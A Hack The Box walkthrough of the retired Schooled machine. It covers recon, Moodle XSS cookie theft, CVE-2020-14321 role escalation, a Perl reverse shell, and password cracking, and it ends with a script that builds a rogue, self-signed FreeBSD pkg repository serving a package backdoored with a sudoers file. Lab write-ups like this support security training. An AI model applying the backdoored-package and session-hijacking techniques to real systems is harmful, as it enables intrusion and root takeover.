This post documents the complete walkthrough of Schooled, a retired vulnerable VM created by TheCyberGeek, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post


Schooled is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 --rate=500
Starting masscan 1.3.2 ( at 2021-04-04 08:24:30 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on
Discovered open port 33060/tcp on
Discovered open port 80/tcp on

Port 33060/tcp looks interesting—could it be MySQL? Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,80,33060 -A --reason -oN nmap.txt
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx? syn-ack ttl 63
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|     HY000
|   LDAPBindReq:
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns:
|     Invalid message-frame."
|_    HY000

Looks like nmap can’t tell what service is 33060/tcp. Anyway, this is what the http service looks like.

I’d better include schooled.htb into /etc/hosts.

Subdomain Enumeration

Believe me, I’ve tried—wfuzz and gobuster didn’t yield anything. Let’s try to enumerate subdomains instead.

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 20 --hl 461 -H "Host: FUZZ.schooled.htb"
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Total requests: 4989

ID           Response   Lines    Word       Chars       Payload

000000162:   200        1 L      5 W        84 Ch       "moodle"

Total time: 0
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 0



We have a Moodle (http://moodle.schooled.htb/moodle/) as an attack surface! This is what it looks like after registering an account and enrolling to the Mathematics course.

Simple Cross-Site Scripting (XSS)

There’s a hint of cross-site scripting when the course instructor reminded students to set their MoodleNet profiles and that he’ll be checking all students to make sure they have set their profiles.

With that in mind, let’s go ahead and set a little surprise for the instructor, shall we?

In the meantime, let’s set up Python’s http.server module and see what we get.

There you have it, the second line. The first line is what you get after you saved the profile.

I’m a Teacher, y’all

Replace the MoodleSession cookie with the above and do a refresh and you should be looking at Manuel Phillips’ profile page.

Moodle 3.9

Go to the Mathematics course view and at the bottom of the page is a hyperlink to Moodle Docs. Hover over the link and you’ll see the url,, which points Moodle 3.9.

One thing good about Moodle is that they are very transparent about their vulnerabilities through their security advisories.

I’m a Manager, y’all

Looks like CVE-2020-14321 is what I need. The author of the PoC provided an easy-to-follow video that showcases how to go from a Teacher role to a Manager role. One thing to take note is that we need to target Lianne Carter because of this.

Following the video, I got myself the Manager role, which comes with site administration privileges. :heart_eyes:


The author of the PoC has also kindly provided the plugin to achieve remote command execution. But before we can do that, we need to allow Change site configuration setting like so, which is not enabled by default.

And there you have it!

With that, let’s get ourselves a reverse shell using Perl. Note that the location of Perl here is /usr/local/bin/perl.


From www to jamie

I think it’s customary to display /etc/passwd after getting a reverse shell. :laughing:

cat /etc/passwd
# $FreeBSD$
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
ntpd:*:123:123:NTP Daemon:/var/db/ntp:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
tests:*:977:977:Unprivileged user for tests:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
cyrus:*:60:60:the cyrus mail server:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
_tss:*:601:601:TCG Software Stack user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
polkitd:*:565:565:Polkit Daemon User:/var/empty:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
colord:*:970:970:colord color management daemon:/nonexistent:/usr/sbin/nologin
steve:*:1002:1002:User &:/home/steve:/bin/csh

We can see that there are two user accounts: jamie (1001) and steve (1002). The file user.txt should be in jamie’s home directory.

During enumeration of www’s account, I notice the database configuration of Moodle at /usr/local/www/apache24/data/moodle/config.php.

Armed with this information, let’s see if we can access the database from our shell.

Awesome! Let’s take a peek at the mdl_user table.

So, jamie is the Administrator for Moodle. Makes sense, she is in charge of Information Technology after all. :wink:

Cracking jamie’s password hash

This took me a while…bcrypt is known to take a long time.

There isn’t anything unsual with the SSH configuration so we should be good using !QAZ2wsx as jamie’s password to log in using SSH.

Here we go.

Privilege Escalation

During enumeration of jamie’s account, I notice that she’s able to sudo the following.

The first pkg configuration file I immediately look at is /etc/pkg/FreeBSD.conf.

Notice something unsual? Next up, let’s take a look at /etc/hosts.

BSD sed to the rescue

One can easily use sed to comment out the old entry and append the mapping between our IP address and devops.htb like so.

Backdooring a pkg package

I’ve chosen package p5-CACertOrg-CA for a simple reason—there’s no installation scripts to meddle with. All I have to do is to include the following sudoers file in /usr/local/etc, along with other files also in /usr/local.


FreeBSD 13

Before we can backdoor pkg, we need to know which FreeBSD version we are dealing with.

Then go to the corresponding FreeBSD pkg repository at

The files meta.txz and packagesite.txz are no more than XZ archived bundles of meta.conf and packagesite.yaml respectively, along with their corresponding RSA public key and the signature. Because we are hosting our own fake, rogue pkg respository, we can generate any RSA key pair and sign anything we so desire.

packagesite.yaml contains a JSON manifest of all the available packages in that repository. Here’s the manifest for p5-CACertOrg-CA in packagesite.yaml, prettified for easy reading. That’s right, all the JSON manifests in pkg are compressed or minified.

  "name": "p5-CACertOrg-CA",
  "origin": "security/p5-CACertOrg-CA",
  "version": "20210114.001",
  "comment": " CA root certificate in PEM format",
  "maintainer": "[email protected]",
  "www": "",
  "abi": "FreeBSD:13:*",
  "arch": "freebsd:13:*",
  "prefix": "/usr/local",
  "sum": "cc4c281386e582195e5db22ea197a1d85f304ba7950733dfaa01b9d7cc7fd6d5",
  "flatsize": 14226,
  "path": "All/p5-CACertOrg-CA-20210114.001.txz",
  "repopath": "All/p5-CACertOrg-CA-20210114.001.txz",
  "licenselogic": "single",
  "licenses": [
  "pkgsize": 8748,
  "desc": "CACertOrg::CA provides a copy of Certificate Authority certificate for\ This is the Class 1 PKI Key.\n\nsha1 13:5C:EC:36:F4:9C:B8:E9:3B:1A:B2:70:CD:80:88:46:76:CE:8F:33\nmd5  A6:1B:37:5E:39:0D:9C:36:54:EE:BD:20:31:46:1F:6B\n\nWWW:",
  "deps": {
    "perl5": {
      "origin": "lang/perl5.32",
      "version": "5.32.1_1"
  "categories": [

Every pkg package is also a XZ archive bundled with the files for installation. More importantly, each package contains two versions of the manifest of the files in the package: +COMPACT_MANIFEST and +MANIFEST.

Here’s the manifest in the p5-CACertOrg-CA package.

  "name": "p5-CACertOrg-CA",
  "origin": "security/p5-CACertOrg-CA",
  "version": "20210114.001",
  "comment": " CA root certificate in PEM format",
  "maintainer": "[email protected]",
  "www": "",
  "abi": "FreeBSD:13:*",
  "arch": "freebsd:13:*",
  "prefix": "/usr/local",
  "flatsize": 14226,
  "licenselogic": "single",
  "licenses": [
  "desc": "CACertOrg::CA provides a copy of Certificate Authority certificate for\ This is the Class 1 PKI Key.\n\nsha1 13:5C:EC:36:F4:9C:B8:E9:3B:1A:B2:70:CD:80:88:46:76:CE:8F:33\nmd5  A6:1B:37:5E:39:0D:9C:36:54:EE:BD:20:31:46:1F:6B\n\nWWW:",
  "deps": {
    "perl5": {
      "origin": "lang/perl5.32",
      "version": "5.32.1_1"
  "categories": [

Well, +MANIFEST is almost identical to +COMPACT_MANIFEST but with the inclusion of sha256sums of each file in the package.

"files": {
    "/usr/local/share/licenses/p5-CACertOrg-CA-20210114.001/": "1$1b9c381dc8047bc1da7d70f4ad4e9d300f9a1b5b25232f86d1e271bfd08487e5",
    "/usr/local/share/licenses/p5-CACertOrg-CA-20210114.001/LICENSE": "1$252508a88402028085c82d35f3bd08d95128ba1176028a39c39eb418b16ab645",
    "/usr/local/share/licenses/p5-CACertOrg-CA-20210114.001/CACERT": "1$ac055560619370a8b3efd1fee815443e00949d9527bf050f5015c884422b89ed",
    "/usr/local/lib/perl5/site_perl/CACertOrg/": "1$fd8a2cbb74aaf1eb00fcda5b4856f9895a8e68ec74e602e07a2eba8af8d4390a",
    "/usr/local/lib/perl5/site_perl/CACertOrg/CA/root.crt": "1$702d8a08044b106d73a1ff8f1636e3b410d5bc1f9bed5afb99981ec5f97c4a66",
    "/usr/local/lib/perl5/site_perl/man/man3/CACertOrg::CA.3.gz": "1$99d78745a7d835056cfcdac6cb40012f3c3f16c8a7b62196c80dfc2c41695368",
    "/usr/local/lib/perl5/site_perl/mach/5.32/auto/CACertOrg/CA/.packlist": "1$678fff107fbb3b8e3c78d0760a58517d701b94eeb471f2124ac9ea5b8fb420bb"


Backdooring the package is surprisingly easy. We just need to include /usr/local/etc/sudoers in the +MANIFEST, update the sha256sum, and update flatsize in both manifests, which is just 14226 + 29 or 14255, where 29 is the flatsize (uncompressed file size) of sudoers.

Next, we need to archive all the files, including the manifests, like so.

tar Jcvf p5-CACertOrg-CA-20210114.001.txz --xform 's/usr/\/usr/' +COMPACT_MANIFEST +MANIFEST usr/

It’s worth talking about the --xform or --transform switch. Because I’ve previously unpacked p5-CACertOrg-CA-20210114.001.txz, tar prevents overwriting important files by removing the leading slash /. What the above switch does is to put the leading slash back through sed replace.

The last step is to rebuild packagesite.txz. I’ve written a shell script, driven by openssl to generate RSA key pair, sign packagesite.yaml, etc.

# init - meta
cp meta meta.conf

# generate RSA key pair and sign meta
echo "[+] Generating RSA key pair and signing meta..."
openssl genrsa -out meta.key 2048 &>/dev/null
openssl rsa -in meta.key -outform PEM -pubout -out &>/dev/null
openssl dgst -sha256 -sign meta.key -out meta.sig meta

# generate meta.txz
echo "[+] Generating meta.txz..."
tar Jcvf meta.txz meta meta.sig

# init - packagesite
cat packagesite | jq -c > packagesite.yaml

# clean up - meta
rm  meta.{key,pub,sig}

# generate RSA key pair and sign packagesite.yaml
echo "[+] Generating RSA key pair and signing packagesite.yaml"
openssl genrsa -out packagesite.yaml.key 2048 &>/dev/null
openssl rsa -in packagesite.yaml.key -outform PEM -pubout -out &>/dev/null
openssl dgst -sha256 -sign packagesite.yaml.key -out packagesite.yaml.sig packagesite.yaml

# generate packagesite.txz
echo "[+] Generating packagesite.txz..."
tar Jcvf packagesite.txz packagesite.yaml packagesite.yaml.sig

# clean up - packagesite
rm packagesite.yaml.{key,pub,sig}

Time to run the exploit! Set up Python’s http.server module to be our pkg repository. :laughing:

Looks good!

From jamie to root

The moment of truth…

Time to claim the prize.